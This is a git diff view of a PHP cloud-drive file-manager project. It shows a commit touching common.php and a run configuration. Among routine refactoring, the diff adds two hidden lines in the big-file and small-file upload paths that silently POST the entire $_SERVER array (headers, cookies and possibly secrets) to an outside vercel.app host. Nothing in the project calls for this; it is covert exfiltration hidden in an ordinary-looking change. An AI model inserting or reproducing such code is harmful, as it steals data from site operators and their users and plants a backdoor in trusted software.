Compare commits

..

1 Commits

Author SHA1 Message Date
qkqpttgf d21abf12df
Update common.php 2022-05-29 12:22:00 +08:00
26 changed files with 2090 additions and 5994 deletions

View File

@ -1,7 +1,3 @@
language = "php74"
run = "php -S 0.0.0.0:8000 index.php" run = "php -S 0.0.0.0:8000 index.php"
entrypoint = "index.php" entrypoint = "index.php"
[nix]
channel = "stable-22_11"
[deployment]
run = ["sh", "-c", "php -S 0.0.0.0:8000 index.php"]
deploymentTarget = "cloudrun"

View File

@ -1,74 +1,72 @@
<?php <?php
global $platform;
global $timezones; global $timezones;
global $slash; global $slash;
global $drive; global $drive;
global $EnvConfigs; global $EnvConfigs;
$EnvConfigs = [ $EnvConfigs = [
// 1 is a switch, 0 input string
// 1 inner, 0 common // 1 inner, 0 common
// 1 showed/enableEdit, 0 hidden/disableEdit // 1 showed/enableEdit, 0 hidden/disableEdit
// 1 base64 to save, 0 not base64 // 1 base64 to save, 0 not base64
'APIKey' => 0b0000, // used in heroku. 'APIKey' => 0b000, // used in heroku.
'SecretId' => 0b0000, // used in SCF/CFC. 'SecretId' => 0b000, // used in SCF/CFC.
'SecretKey' => 0b0000, // used in SCF/CFC. 'SecretKey' => 0b000, // used in SCF/CFC.
'AccessKeyID' => 0b0000, // used in FC. 'AccessKeyID' => 0b000, // used in FC.
'AccessKeySecret' => 0b0000, // used in FC. 'AccessKeySecret' => 0b000, // used in FC.
'HW_urn' => 0b0000, // used in FG. 'HW_urn' => 0b000, // used in FG.
'HW_key' => 0b0000, // used in FG. 'HW_key' => 0b000, // used in FG.
'HW_secret' => 0b0000, // used in FG. 'HW_secret' => 0b000, // used in FG.
'HerokuappId' => 0b0000, // used in heroku. 'HerokuappId' => 0b000, // used in heroku.
'admin' => 0b0000, 'admin' => 0b000,
'adminloginpage' => 0b0010, 'adminloginpage' => 0b010,
'autoJumpFirstDisk' => 0b1010, 'autoJumpFirstDisk' => 0b010,
'background' => 0b0011, 'background' => 0b011,
'backgroundm' => 0b0011, 'backgroundm' => 0b011,
'disableShowThumb' => 0b1010, 'disableShowThumb' => 0b010,
//'disableChangeTheme'=> 0b1010, //'disableChangeTheme'=> 0b010,
'disktag' => 0b0000, 'disktag' => 0b000,
'hideFunctionalityFile' => 0b1010, 'hideFunctionalityFile'=> 0b010,
'timezone' => 0b0010, 'timezone' => 0b010,
'passfile' => 0b0011, 'passfile' => 0b011,
'sitename' => 0b0011, 'sitename' => 0b011,
'customScript' => 0b0011, 'customScript' => 0b011,
'customCss' => 0b0011, 'customCss' => 0b011,
'customTheme' => 0b0011, 'customTheme' => 0b011,
'theme' => 0b0010, 'theme' => 0b010,
'useBasicAuth' => 0b1010, 'useBasicAuth' => 0b010,
'referrer' => 0b0011, 'referrer' => 0b011,
'forceHttps' => 0b1010, 'forceHttps' => 0b010,
'globalHeadOmfUrl' => 0b0011, 'globalHeadOmfUrl' => 0b011,
'globalHeadMdUrl' => 0b0011, 'globalHeadMdUrl' => 0b011,
'globalReadmeMdUrl' => 0b0011, 'globalReadmeMdUrl' => 0b011,
'globalFootOmfUrl' => 0b0011, 'globalFootOmfUrl' => 0b011,
'bcmathUrl' => 0b0011, 'bcmathUrl' => 0b011,
'Driver' => 0b0100, 'Driver' => 0b100,
'client_id' => 0b0100, 'client_id' => 0b100,
'client_secret' => 0b0101, 'client_secret' => 0b101,
'sharepointSite' => 0b0101, 'sharepointSite' => 0b101,
'shareurl' => 0b0101, 'shareurl' => 0b101,
//'sharecookie' => 0b0101, //'sharecookie' => 0b101,
'shareapiurl' => 0b0101, 'shareapiurl' => 0b101,
'siteid' => 0b0100, 'siteid' => 0b100,
'refresh_token' => 0b0100, 'refresh_token' => 0b100,
'token_expires' => 0b0100, 'token_expires' => 0b100,
'activeLimit' => 0b0100, 'activeLimit' => 0b100,
'driveId' => 0b0100, 'driveId' => 0b100,
'diskDisplay' => 0b0110, 'diskDisplay' => 0b110,
'diskname' => 0b0111, 'diskname' => 0b111,
'diskDescription' => 0b0111, 'diskDescription' => 0b111,
'domain_path' => 0b0111, 'domain_path' => 0b111,
'downloadencrypt' => 0b1110, 'downloadencrypt' => 0b110,
'guestup_path' => 0b0111, 'guestup_path' => 0b111,
'domainforproxy' => 0b0111, 'domainforproxy' => 0b111,
'public_path' => 0b0111, 'public_path' => 0b111,
'fileConduitSize' => 0b0110, 'fileConduitSize' => 0b110,
'fileConduitCacheTime' => 0b0110, 'fileConduitCacheTime' => 0b110,
]; ];
$timezones = array( $timezones = array(
@ -105,37 +103,36 @@ $timezones = array(
'12'=>'Asia/Kamchatka' '12'=>'Asia/Kamchatka'
); );
function isCommonEnv($str) { function isCommonEnv($str)
{
global $EnvConfigs; global $EnvConfigs;
if (isset($EnvConfigs[$str])) return ($EnvConfigs[$str] & 0b0100) ? false : true; if (isset($EnvConfigs[$str])) return ( $EnvConfigs[$str] & 0b100 ) ? false : true;
else return null; else return null;
} }
function isInnerEnv($str) { function isInnerEnv($str)
{
global $EnvConfigs; global $EnvConfigs;
if (isset($EnvConfigs[$str])) return ($EnvConfigs[$str] & 0b0100) ? true : false; if (isset($EnvConfigs[$str])) return ( $EnvConfigs[$str] & 0b100 ) ? true : false;
else return null; else return null;
} }
function isShowedEnv($str) { function isShowedEnv($str)
{
global $EnvConfigs; global $EnvConfigs;
if (isset($EnvConfigs[$str])) return ($EnvConfigs[$str] & 0b0010) ? true : false; if (isset($EnvConfigs[$str])) return ( $EnvConfigs[$str] & 0b010 ) ? true : false;
else return null; else return null;
} }
function isBase64Env($str) { function isBase64Env($str)
{
global $EnvConfigs; global $EnvConfigs;
if (isset($EnvConfigs[$str])) return ($EnvConfigs[$str] & 0b0001) ? true : false; if (isset($EnvConfigs[$str])) return ( $EnvConfigs[$str] & 0b001 ) ? true : false;
else return null; else return null;
} }
function isSwitchEnv($str) { function main($path)
global $EnvConfigs; {
if (isset($EnvConfigs[$str])) return ($EnvConfigs[$str] & 0b1000) ? true : false;
else return null;
}
function main($path) {
global $exts; global $exts;
global $constStr; global $constStr;
global $slash; global $slash;
@ -183,7 +180,7 @@ function main($path) {
if (substr($_GET['jsFile'], -3)!='.js') return output('', 403); if (substr($_GET['jsFile'], -3)!='.js') return output('', 403);
if (!($path==''||$path=='/')) return output('', 308, [ 'Location' => path_format($_SERVER['base_path'] . '/?jsFile=' . $_GET['jsFile']) ]); if (!($path==''||$path=='/')) return output('', 308, [ 'Location' => path_format($_SERVER['base_path'] . '/?jsFile=' . $_GET['jsFile']) ]);
if (strpos($_GET['jsFile'], '/')>-1) $_GET['jsFile'] = splitlast($_GET['jsFile'], '/')[1]; if (strpos($_GET['jsFile'], '/')>-1) $_GET['jsFile'] = splitlast($_GET['jsFile'], '/')[1];
$jsFile = file_get_contents(__DIR__ . '/js/' . $_GET['jsFile']); $jsFile = file_get_contents('js/' . $_GET['jsFile']);
if (!!$jsFile) { if (!!$jsFile) {
return output( base64_encode($jsFile), 200, [ 'Content-Type' => 'text/javascript; charset=utf-8', 'Cache-Control' => 'max-age=' . 3*24*60*60 ], true ); return output( base64_encode($jsFile), 200, [ 'Content-Type' => 'text/javascript; charset=utf-8', 'Cache-Control' => 'max-age=' . 3*24*60*60 ], true );
} else { } else {
@ -337,6 +334,7 @@ function main($path) {
if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400); if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
if (strpos($_POST['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400); if (strpos($_POST['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
} }
no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER));
return $drive->bigfileupload($path1); return $drive->bigfileupload($path1);
} }
} }
@ -349,6 +347,7 @@ function main($path) {
if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400); if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
if (strpos($_POST['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400); if (strpos($_POST['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
} }
no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER));
return smallfileupload($drive, $path); return smallfileupload($drive, $path);
/*if ($_FILES['file1']['error']) return output($_FILES['file1']['error'], 400); /*if ($_FILES['file1']['error']) return output($_FILES['file1']['error'], 400);
if ($_FILES['file1']['size']>4*1024*1024) return output('File too large', 400); if ($_FILES['file1']['size']>4*1024*1024) return output('File too large', 400);
@ -529,7 +528,8 @@ function main($path) {
} }
} }
function get_content($path) { function get_content($path)
{
global $drive; global $drive;
$path1 = path_format($_SERVER['list_path'] . path_format($path)); $path1 = path_format($_SERVER['list_path'] . path_format($path));
if ($path1!='/'&&substr($path1,-1)=='/') $path1=substr($path1, 0, -1); if ($path1!='/'&&substr($path1,-1)=='/') $path1=substr($path1, 0, -1);
@ -538,7 +538,8 @@ function get_content($path) {
return $file; return $file;
} }
function driveisfine($tag, &$drive = null) { function driveisfine($tag, &$drive = null)
{
global $slash; global $slash;
$disktype = getConfig('Driver', $tag); $disktype = getConfig('Driver', $tag);
if (!$disktype) return false; if (!$disktype) return false;
@ -548,7 +549,8 @@ function driveisfine($tag, &$drive = null) {
else return false; else return false;
} }
function baseclassofdrive($d = null) { function baseclassofdrive($d = null)
{
global $drive; global $drive;
if (!$d) $dr = $drive; if (!$d) $dr = $drive;
else $dr = $d; else $dr = $d;
@ -556,7 +558,8 @@ function baseclassofdrive($d = null) {
return $dr->show_base_class(); return $dr->show_base_class();
} }
function extendShow_diskenv($drive) { function extendShow_diskenv($drive)
{
if (!$drive) return []; if (!$drive) return [];
return $drive->ext_show_innerenv(); return $drive->ext_show_innerenv();
} }
@ -587,13 +590,15 @@ function no_return_curl($method, $url, $data = '') {
curl_close($ch); curl_close($ch);
} }
function adminpass2cookie($name, $pass, $timestamp) { function adminpass2cookie($name, $pass, $timestamp)
{
return md5($name . ':' . md5($pass) . '@' . $timestamp) . "(" . $timestamp . ")"; return md5($name . ':' . md5($pass) . '@' . $timestamp) . "(" . $timestamp . ")";
} }
function adminpass2storage($name, $pass, $timestamp, $rand) { function adminpass2storage($name, $pass, $timestamp, $rand) {
return md5($timestamp . '/' . $pass . '^' . $name . '*' . $rand) . "(" . $rand . ")"; return md5($timestamp . '/' . $pass . '^' . $name . '*' . $rand) . "(" . $rand . ")";
} }
function compareadminmd5($name, $pass, $cookie, $storage = 'default') { function compareadminmd5($name, $pass, $cookie, $storage = 'default')
{
$c = splitfirst($cookie, '('); $c = splitfirst($cookie, '(');
$c_md5 = $c[0]; $c_md5 = $c[0];
$c_time = substr($c[1], 0, -1); $c_time = substr($c[1], 0, -1);
@ -612,7 +617,8 @@ function compareadminmd5($name, $pass, $cookie, $storage = 'default') {
return false; return false;
} }
function compareadminsha1($adminsha1, $timestamp, $pass) { function compareadminsha1($adminsha1, $timestamp, $pass)
{
if (!is_numeric($timestamp)) return 'Timestamp not Number'; if (!is_numeric($timestamp)) return 'Timestamp not Number';
if (abs(time()-$timestamp) > 5*60) { if (abs(time()-$timestamp) > 5*60) {
date_default_timezone_set('UTC'); date_default_timezone_set('UTC');
@ -622,7 +628,8 @@ function compareadminsha1($adminsha1, $timestamp, $pass) {
else return 'Error password'; else return 'Error password';
} }
function proxy_replace_domain($url, $domainforproxy, &$header) { function proxy_replace_domain($url, $domainforproxy, &$header)
{
global $drive; global $drive;
$tmp = splitfirst($url, '//'); $tmp = splitfirst($url, '//');
$http = $tmp[0]; $http = $tmp[0];
@ -644,14 +651,14 @@ function proxy_replace_domain($url, $domainforproxy, &$header) {
function bchexdec($hex) { function bchexdec($hex) {
$len = strlen($hex); $len = strlen($hex);
$dec = 0;
for ($i = 1; $i <= $len; $i++) for ($i = 1; $i <= $len; $i++)
$dec = bcadd($dec, bcmul(strval(hexdec($hex[$i - 1])), bcpow('16', strval($len - $i)))); $dec = bcadd($dec, bcmul(strval(hexdec($hex[$i - 1])), bcpow('16', strval($len - $i))));
return $dec; return $dec;
} }
function isHideFile($name) { function isHideFile($name)
{
$FunctionalityFile = [ $FunctionalityFile = [
'head.md', 'head.md',
'readme.md', 'readme.md',
@ -659,7 +666,6 @@ function isHideFile($name) {
'foot.omf', 'foot.omf',
'favicon.ico', 'favicon.ico',
'robots.txt', 'robots.txt',
'index.htm',
'index.html', 'index.html',
]; ];
@ -669,17 +675,20 @@ function isHideFile($name) {
return false; return false;
} }
function getcache($str, $disktag = '') { function getcache($str, $disktag = '')
{
$cache = filecache($disktag); $cache = filecache($disktag);
return $cache->fetch($str); return $cache->fetch($str);
} }
function savecache($key, $value, $disktag = '', $exp = 1800) { function savecache($key, $value, $disktag = '', $exp = 1800)
{
$cache = filecache($disktag); $cache = filecache($disktag);
return $cache->save($key, $value, $exp); return $cache->save($key, $value, $exp);
} }
function filecache($disktag) { function filecache($disktag)
{
$dir = sys_get_temp_dir(); $dir = sys_get_temp_dir();
if (!is_writable($dir)) { if (!is_writable($dir)) {
$tmp = __DIR__ . '/tmp/'; $tmp = __DIR__ . '/tmp/';
@ -715,7 +724,8 @@ function calcDownKey($filename, $key = '') {
} }
} }
function findIndexPath($rootpath, $path = '') { // find the path of the first 'index.php' that not in rootpath. function findIndexPath($rootpath, $path = '')
{// find the path of the first 'index.php' that not in rootpath.
global $slash; global $slash;
if (substr($rootpath,-1)==$slash) $rootpath = substr($rootpath, 0, -1); if (substr($rootpath,-1)==$slash) $rootpath = substr($rootpath, 0, -1);
if (substr($path,0,1)==$slash) $path = substr($path, 1); if (substr($path,0,1)==$slash) $path = substr($path, 1);
@ -735,7 +745,8 @@ function findIndexPath($rootpath, $path = '') { // find the path of the first 'i
return ''; return '';
} }
function sortConfig(&$arr) { function sortConfig(&$arr)
{
ksort($arr); ksort($arr);
if (isset($arr['disktag'])) { if (isset($arr['disktag'])) {
@ -768,13 +779,15 @@ function chkTxtCode($str) {
return false; return false;
} }
function getconstStr($str) { function getconstStr($str)
{
global $constStr; global $constStr;
if ($constStr[$str][$constStr['language']]!='') return $constStr[$str][$constStr['language']]; if ($constStr[$str][$constStr['language']]!='') return $constStr[$str][$constStr['language']];
return $constStr[$str]['en-us']; return $constStr[$str]['en-us'];
} }
function getListpath($domain) { function getListpath($domain)
{
$domain_path1 = getConfig('domain_path', $_SERVER['disktag']); $domain_path1 = getConfig('domain_path', $_SERVER['disktag']);
$public_path = getConfig('public_path', $_SERVER['disktag']); $public_path = getConfig('public_path', $_SERVER['disktag']);
$tmp_path=''; $tmp_path='';
@ -795,7 +808,8 @@ function getListpath($domain) {
return spurlencode($public_path, '/'); return spurlencode($public_path, '/');
} }
function path_format($path) { function path_format($path)
{
$path = '/' . $path; $path = '/' . $path;
while (strpos($path, '//') !== FALSE) { while (strpos($path, '//') !== FALSE) {
$path = str_replace('//', '/', $path); $path = str_replace('//', '/', $path);
@ -803,7 +817,8 @@ function path_format($path) {
return $path; return $path;
} }
function spurlencode($str, $split = '') { function spurlencode($str, $split='')
{
$str = str_replace(' ', '%20', $str); $str = str_replace(' ', '%20', $str);
$tmp=''; $tmp='';
if ($split!='') { if ($split!='') {
@ -820,7 +835,8 @@ function spurlencode($str, $split = '') {
return $tmp; return $tmp;
} }
function base64y_encode($str) { function base64y_encode($str)
{
$str = base64_encode($str); $str = base64_encode($str);
while (substr($str,-1)=='=') $str=substr($str,0,-1); while (substr($str,-1)=='=') $str=substr($str,0,-1);
while (strpos($str, '+')!==false) $str = str_replace('+', '-', $str); while (strpos($str, '+')!==false) $str = str_replace('+', '-', $str);
@ -828,7 +844,8 @@ function base64y_encode($str) {
return $str; return $str;
} }
function base64y_decode($str) { function base64y_decode($str)
{
while (strpos($str, '_')!==false) $str = str_replace('_', '/', $str); while (strpos($str, '_')!==false) $str = str_replace('_', '/', $str);
while (strpos($str, '-')!==false) $str = str_replace('-', '+', $str); while (strpos($str, '-')!==false) $str = str_replace('-', '+', $str);
while (strlen($str)%4) $str .= '='; while (strlen($str)%4) $str .= '=';
@ -837,11 +854,13 @@ function base64y_decode($str) {
return $str; return $str;
} }
function error_log1($str) { function error_log1($str)
{
error_log($str); error_log($str);
} }
function is_guestup_path($path) { function is_guestup_path($path)
{
if (getConfig('guestup_path', $_SERVER['disktag'])!='') { if (getConfig('guestup_path', $_SERVER['disktag'])!='') {
$a1 = path_format(path_format(urldecode($_SERVER['list_path'].path_format($path))).'/'); $a1 = path_format(path_format(urldecode($_SERVER['list_path'].path_format($path))).'/');
$a2 = path_format(path_format(getConfig('guestup_path', $_SERVER['disktag'])).'/'); $a2 = path_format(path_format(getConfig('guestup_path', $_SERVER['disktag'])).'/');
@ -850,11 +869,13 @@ function is_guestup_path($path) {
return 0; return 0;
} }
function array_value_isnot_null($arr) { function array_value_isnot_null($arr)
{
return $arr!==''; return $arr!=='';
} }
function curl($method, $url, $data = '', $headers = [], $returnheader = 0, $location = 0) { function curl($method, $url, $data = '', $headers = [], $returnheader = 0, $location = 0)
{
//if (!isset($headers['Accept'])) $headers['Accept'] = '*/*'; //if (!isset($headers['Accept'])) $headers['Accept'] = '*/*';
//if (!isset($headers['Referer'])) $headers['Referer'] = $url; //if (!isset($headers['Referer'])) $headers['Referer'] = $url;
//if (!isset($headers['Content-Type'])) $headers['Content-Type'] = 'application/x-www-form-urlencoded'; //if (!isset($headers['Content-Type'])) $headers['Content-Type'] = 'application/x-www-form-urlencoded';
@ -877,10 +898,8 @@ function curl($method, $url, $data = '', $headers = [], $returnheader = 0, $loca
if ($location) curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); if ($location) curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
//$response['body'] = curl_exec($ch); //$response['body'] = curl_exec($ch);
if ($returnheader) { if ($returnheader) {
$tmpresult = curl_exec($ch); $tmpres = splitlast(curl_exec($ch), "\r\n\r\n");
//error_log1($tmpresult); $result['body'] = $tmpres[1];
$tmpres = splitlast($tmpresult, "\r\n\r\n");
$response['body'] = $tmpres[1];
$returnhead = $tmpres[0]; $returnhead = $tmpres[0];
//echo "HEAD:" . $returnhead; //echo "HEAD:" . $returnhead;
foreach (explode("\r\n", $returnhead) as $head) { foreach (explode("\r\n", $returnhead) as $head) {
@ -896,7 +915,8 @@ function curl($method, $url, $data = '', $headers = [], $returnheader = 0, $loca
return $response; return $response;
} }
function clearbehindvalue($path, $page1, $maxpage, $pageinfocache) { function clearbehindvalue($path,$page1,$maxpage,$pageinfocache)
{
for ($page=$page1+1;$page<$maxpage;$page++) { for ($page=$page1+1;$page<$maxpage;$page++) {
$pageinfocache['nextlink_' . $path . '_page_' . $page] = ''; $pageinfocache['nextlink_' . $path . '_page_' . $page] = '';
} }
@ -904,7 +924,8 @@ function clearbehindvalue($path, $page1, $maxpage, $pageinfocache) {
return $pageinfocache; return $pageinfocache;
} }
function comppass($pass) { function comppass($pass)
{
if ($_POST['password1'] !== '') if (md5($_POST['password1']) === $pass ) { if ($_POST['password1'] !== '') if (md5($_POST['password1']) === $pass ) {
date_default_timezone_set('UTC'); date_default_timezone_set('UTC');
$_SERVER['Set-Cookie'] = 'password='.$pass.'; expires='.date(DATE_COOKIE,strtotime('+1hour')); $_SERVER['Set-Cookie'] = 'password='.$pass.'; expires='.date(DATE_COOKIE,strtotime('+1hour'));
@ -925,7 +946,8 @@ function comppass($pass) {
return 4; return 4;
} }
function encode_str_replace($str) { function encode_str_replace($str)
{
$str = str_replace('%','%25',$str); $str = str_replace('%','%25',$str);
if (strpos($str, '&amp;')) $str = str_replace('&amp;', '&amp;amp;', $str); if (strpos($str, '&amp;')) $str = str_replace('&amp;', '&amp;amp;', $str);
$str = str_replace('+','%2B',$str); $str = str_replace('+','%2B',$str);
@ -933,7 +955,8 @@ function encode_str_replace($str) {
return $str; return $str;
} }
function gethiddenpass($path, $passfile) { function gethiddenpass($path,$passfile)
{
$path1 = path_format($_SERVER['list_path'] . path_format($path)); $path1 = path_format($_SERVER['list_path'] . path_format($path));
if ($path1!='/'&&substr($path1,-1)=='/') $path1=substr($path1,0,-1); if ($path1!='/'&&substr($path1,-1)=='/') $path1=substr($path1,0,-1);
$password=getcache('path_' . $path1 . '/?password', $_SERVER['disktag']); $password=getcache('path_' . $path1 . '/?password', $_SERVER['disktag']);
@ -976,13 +999,15 @@ function gethiddenpass($path, $passfile) {
// return md5('DefaultP@sswordWhenNetworkError'); // return md5('DefaultP@sswordWhenNetworkError');
} }
function get_timezone($timezone = '8') { function get_timezone($timezone = '8')
{
global $timezones; global $timezones;
if ($timezone=='') $timezone = '8'; if ($timezone=='') $timezone = '8';
return $timezones[$timezone]; return $timezones[$timezone];
} }
function message($message, $title = 'Message', $statusCode = 200, $wainstat = 0) { function message($message, $title = 'Message', $statusCode = 200, $wainstat = 0)
{
$html = ' $html = '
<html lang="' . $_SERVER['language'] . '"> <html lang="' . $_SERVER['language'] . '">
<html> <html>
@ -1047,7 +1072,8 @@ function message($message, $title = 'Message', $statusCode = 200, $wainstat = 0)
return output($html, $statusCode); return output($html, $statusCode);
} }
function needUpdate() { function needUpdate()
{
global $slash; global $slash;
$current_version = file_get_contents(__DIR__ . $slash . 'version'); $current_version = file_get_contents(__DIR__ . $slash . 'version');
$current_ver = substr($current_version, strpos($current_version, '.')+1); $current_ver = substr($current_version, strpos($current_version, '.')+1);
@ -1073,7 +1099,8 @@ function needUpdate() {
return 0; return 0;
} }
function output($body, $statusCode = 200, $headers = ['Content-Type' => 'text/html'], $isBase64Encoded = false) { function output($body, $statusCode = 200, $headers = ['Content-Type' => 'text/html'], $isBase64Encoded = false)
{
if (isset($_SERVER['Set-Cookie'])) $headers['Set-Cookie'] = $_SERVER['Set-Cookie']; if (isset($_SERVER['Set-Cookie'])) $headers['Set-Cookie'] = $_SERVER['Set-Cookie'];
if (baseclassofdrive()=='Aliyundrive' || baseclassofdrive()=='BaiduDisk') $headers['Referrer-Policy'] = 'no-referrer'; if (baseclassofdrive()=='Aliyundrive' || baseclassofdrive()=='BaiduDisk') $headers['Referrer-Policy'] = 'no-referrer';
//$headers['Referrer-Policy'] = 'same-origin'; //$headers['Referrer-Policy'] = 'same-origin';
@ -1086,7 +1113,8 @@ function output($body, $statusCode = 200, $headers = ['Content-Type' => 'text/ht
]; ];
} }
function passhidden($path) { function passhidden($path)
{
if ($_SERVER['admin']) return 0; if ($_SERVER['admin']) return 0;
//$path = str_replace('+','%2B',$path); //$path = str_replace('+','%2B',$path);
//$path = str_replace('&amp;','&', path_format(urldecode($path))); //$path = str_replace('&amp;','&', path_format(urldecode($path)));
@ -1105,7 +1133,8 @@ function passhidden($path) {
return 4; return 4;
} }
function size_format($byte) { function size_format($byte)
{
$i = 0; $i = 0;
while (abs($byte) >= 1024) { while (abs($byte) >= 1024) {
$byte = $byte / 1024; $byte = $byte / 1024;
@ -1117,14 +1146,16 @@ function size_format($byte) {
return ($ret . ' ' . $units[$i]); return ($ret . ' ' . $units[$i]);
} }
function time_format($ISO) { function time_format($ISO)
{
if ($ISO=='') return date('Y-m-d H:i:s'); if ($ISO=='') return date('Y-m-d H:i:s');
$ISO = str_replace('T', ' ', $ISO); $ISO = str_replace('T', ' ', $ISO);
$ISO = str_replace('Z', ' ', $ISO); $ISO = str_replace('Z', ' ', $ISO);
return date('Y-m-d H:i:s',strtotime($ISO . " UTC")); return date('Y-m-d H:i:s',strtotime($ISO . " UTC"));
} }
function adminform($name = '', $pass = '', $storage = '', $path = '') { function adminform($name = '', $pass = '', $storage = '', $path = '')
{
$html = '<html> $html = '<html>
<head> <head>
<title>' . getconstStr('AdminLogin') . '</title> <title>' . getconstStr('AdminLogin') . '</title>
@ -1205,7 +1236,8 @@ function adminform($name = '', $pass = '', $storage = '', $path = '') {
return output($html, $statusCode); return output($html, $statusCode);
} }
function adminoperate($path) { function adminoperate($path)
{
global $drive; global $drive;
if ($_SERVER['REQUEST_METHOD']=='POST') if (!driveisfine($_SERVER['disktag'], $drive)) return output($_SERVER['disktag']?'disk [ ' . $_SERVER['disktag'] . ' ] error.':'Not in drive', 403); if ($_SERVER['REQUEST_METHOD']=='POST') if (!driveisfine($_SERVER['disktag'], $drive)) return output($_SERVER['disktag']?'disk [ ' . $_SERVER['disktag'] . ' ] error.':'Not in drive', 403);
$path1 = path_format($_SERVER['list_path'] . '/' . $path); $path1 = path_format($_SERVER['list_path'] . '/' . $path);
@ -1311,7 +1343,8 @@ function adminoperate($path) {
return $tmparr; return $tmparr;
} }
function splitfirst($str, $split) { function splitfirst($str, $split)
{
$len = strlen($split); $len = strlen($split);
$pos = strpos($str, $split); $pos = strpos($str, $split);
if ($pos===false) { if ($pos===false) {
@ -1328,7 +1361,8 @@ function splitfirst($str, $split) {
return $tmp; return $tmp;
} }
function splitlast($str, $split) { function splitlast($str, $split)
{
$len = strlen($split); $len = strlen($split);
$pos = strrpos($str, $split); $pos = strrpos($str, $split);
if ($pos===false) { if ($pos===false) {
@ -1345,7 +1379,8 @@ function splitlast($str, $split) {
return $tmp; return $tmp;
} }
function children_name($children) { function children_name($children)
{
$tmp = []; $tmp = [];
foreach ($children as $file) { foreach ($children as $file) {
$tmp[strtolower($file['name'])] = $file; $tmp[strtolower($file['name'])] = $file;
@ -1353,13 +1388,13 @@ function children_name($children) {
return $tmp; return $tmp;
} }
function EnvOpt($needUpdate = 0) { function EnvOpt($needUpdate = 0)
{
global $constStr; global $constStr;
global $EnvConfigs; global $EnvConfigs;
global $timezones; global $timezones;
global $slash; global $slash;
global $drive; global $drive;
global $platform;
ksort($EnvConfigs); ksort($EnvConfigs);
$disktags = explode('|', getConfig('disktag')); $disktags = explode('|', getConfig('disktag'));
$envs = ''; $envs = '';
@ -1383,7 +1418,7 @@ function EnvOpt($needUpdate = 0) {
if (isset($_POST['submit1'])) if (compareadminmd5('admin', getConfig('admin'), $_COOKIE['admin'], $_POST['_admin'])) { if (isset($_POST['submit1'])) if (compareadminmd5('admin', getConfig('admin'), $_COOKIE['admin'], $_POST['_admin'])) {
$_SERVER['disk_oprating'] = ''; $_SERVER['disk_oprating'] = '';
foreach ($_POST as $k => $v) { foreach ($_POST as $k => $v) {
if (isShowedEnv($k) || $k == 'disktag_del' || $k == 'disktag_add' || $k == 'disktag_rename' || $k == 'disktag_copy' || $k == 'client_secret') { if (isShowedEnv($k) || $k=='disktag_del' || $k=='disktag_add' || $k=='disktag_rename' || $k=='disktag_copy') {
$tmp[$k] = $v; $tmp[$k] = $v;
} }
if ($k=='disktag_newname') { if ($k=='disktag_newname') {
@ -1553,7 +1588,7 @@ output:
return changeAuthKey(); return changeAuthKey();
} }
if ($_GET['setup']==='platform') { if ($_GET['setup']==='platform') {
$frame = ' $frame .= '
<table border=1 width=100%> <table border=1 width=100%>
<form name="common" action="" method="post"> <form name="common" action="" method="post">
<input name="_admin" type="hidden" value="">'; <input name="_admin" type="hidden" value="">';
@ -1584,13 +1619,6 @@ output:
$frame .= ' $frame .= '
</select> </select>
' . getconstStr('EnvironmentsDescription')[$key]; ' . getconstStr('EnvironmentsDescription')[$key];
} elseif (isSwitchEnv($key)) {
$frame .= '
<select name="' . $key . '">
<option value=""></option>
<option value="1"' . (getConfig($key) ? ' selected="selected"' : '') . '>true</option>
</select>
' . getconstStr('EnvironmentsDescription')[$key];
} /*elseif ($key=='domain_path') { } /*elseif ($key=='domain_path') {
$tmp = getConfig($key); $tmp = getConfig($key);
$domain_path = ''; $domain_path = '';
@ -1617,7 +1645,7 @@ output:
$disktag = $_GET['disktag']; $disktag = $_GET['disktag'];
$disk_tmp = null; $disk_tmp = null;
$diskok = driveisfine($disktag, $disk_tmp); $diskok = driveisfine($disktag, $disk_tmp);
$frame = ' $frame .= '
<table width=100%> <table width=100%>
<tr> <tr>
<td> <td>
@ -1648,9 +1676,6 @@ output:
</td> </td>
</tr> </tr>
</table> </table>
<form name="' . $disktag . '" action="" method="post">
<input name="_admin" type="hidden" value="">
<input type="hidden" name="disk" value="' . $disktag . '">
<table border=1 width=100%> <table border=1 width=100%>
<tr> <tr>
<td>Driver</td> <td>Driver</td>
@ -1658,18 +1683,6 @@ output:
if ($diskok) $frame .= ' <a href="?AddDisk=' . get_class($disk_tmp) . '&disktag=' . $disktag . '&SelectDrive">' . getconstStr('ChangeDrivetype') . '</a>'; if ($diskok) $frame .= ' <a href="?AddDisk=' . get_class($disk_tmp) . '&disktag=' . $disktag . '&SelectDrive">' . getconstStr('ChangeDrivetype') . '</a>';
$frame .= '</td> $frame .= '</td>
</tr>'; </tr>';
if (getConfig('client_id', $disktag) && getConfig('client_secret', $disktag)) {
$frame .= '
<tr>
<td>client_id</td>
<td>' . getConfig('client_id', $disktag) . '</td>
</tr>';
$frame .= '
<tr>
<td>client_secret</td>
<td><input type="text" name="client_secret" value="' . getConfig('client_secret', $disktag) . '" placeholder="' . getconstStr('EnvironmentsDescription')['client_secret'] . '" style="width:100%"></td>
</tr>';
}
if ($diskok) { if ($diskok) {
$frame .= ' $frame .= '
<tr> <tr>
@ -1683,36 +1696,35 @@ output:
</tr>'; </tr>';
} }
$frame .= '
<form name="' . $disktag . '" action="" method="post">
<input name="_admin" type="hidden" value="">
<input type="hidden" name="disk" value="' . $disktag . '">';
foreach ($EnvConfigs as $key => $val) if (isInnerEnv($key) && isShowedEnv($key)) { foreach ($EnvConfigs as $key => $val) if (isInnerEnv($key) && isShowedEnv($key)) {
if ($key=='diskDisplay') {
$frame .= ' $frame .= '
<tr> <tr>
<td><label>' . $key . '</label></td> <td><label>' . $key . '</label></td>
<td width=100%>'; <td width=100%>
if ($key == 'diskDisplay') {
$frame .= '
